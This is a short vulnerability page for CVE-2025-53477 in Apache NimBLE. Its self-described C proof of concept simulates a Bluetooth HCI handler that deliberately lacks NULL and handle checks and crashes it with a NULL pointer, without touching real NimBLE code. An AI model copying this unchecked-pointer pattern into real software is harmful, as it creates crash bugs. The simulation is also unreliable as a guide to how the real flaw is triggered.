CVE-2025-53477 Apache NimBLE 空指针解引用漏洞

// CVE-2025-53477 PoC - NULL Pointer Dereference in Apache NimBLE // This PoC demonstrates the conditions required to trigger the vulnerability #include <stdio.h> #include <stdlib.h> #include <string.h> // Simulated HCI event structure struct hci_ev_conn_complete { uint8_t event_code; uint8_t param_len; uint8_t status; uint16_t handle; uint8_t link_type; uint8_t enc_mode; } __attribute__((packed)); // Vulnerable function - missing NULL validation void nimble_hci_conn_complete_process(uint8_t *data, uint16_t len) { struct hci_ev_conn_complete *evt; // VULNERABILITY: Missing validation of data pointer // Should check if data is NULL before dereferencing evt = (struct hci_ev_conn_complete *)data; // VULNERABILITY: Missing validation of connection handle // Should verify handle is valid before use uint16_t handle = evt->handle; // NULL pointer dereference here // Process connection (will crash if evt is NULL) printf("Processing connection handle: %d\n", handle); } // Trigger conditions: // 1. Build with NDEBUG defined (disables asserts) // 2. Use broken/bogus Bluetooth controller // 3. Send malformed HCI event with NULL data pointer int main() { printf("[*] CVE-2025-53477 PoC for Apache NimBLE NULL Pointer Dereference\n"); printf("[*] Trigger conditions: disabled asserts + bogus BT controller\n"); // Simulate triggering with NULL data uint8_t *malformed_data = NULL; printf("[*] Sending malformed HCI connection complete event...\n"); nimble_hci_conn_complete_process(malformed_data, 0); return 0; }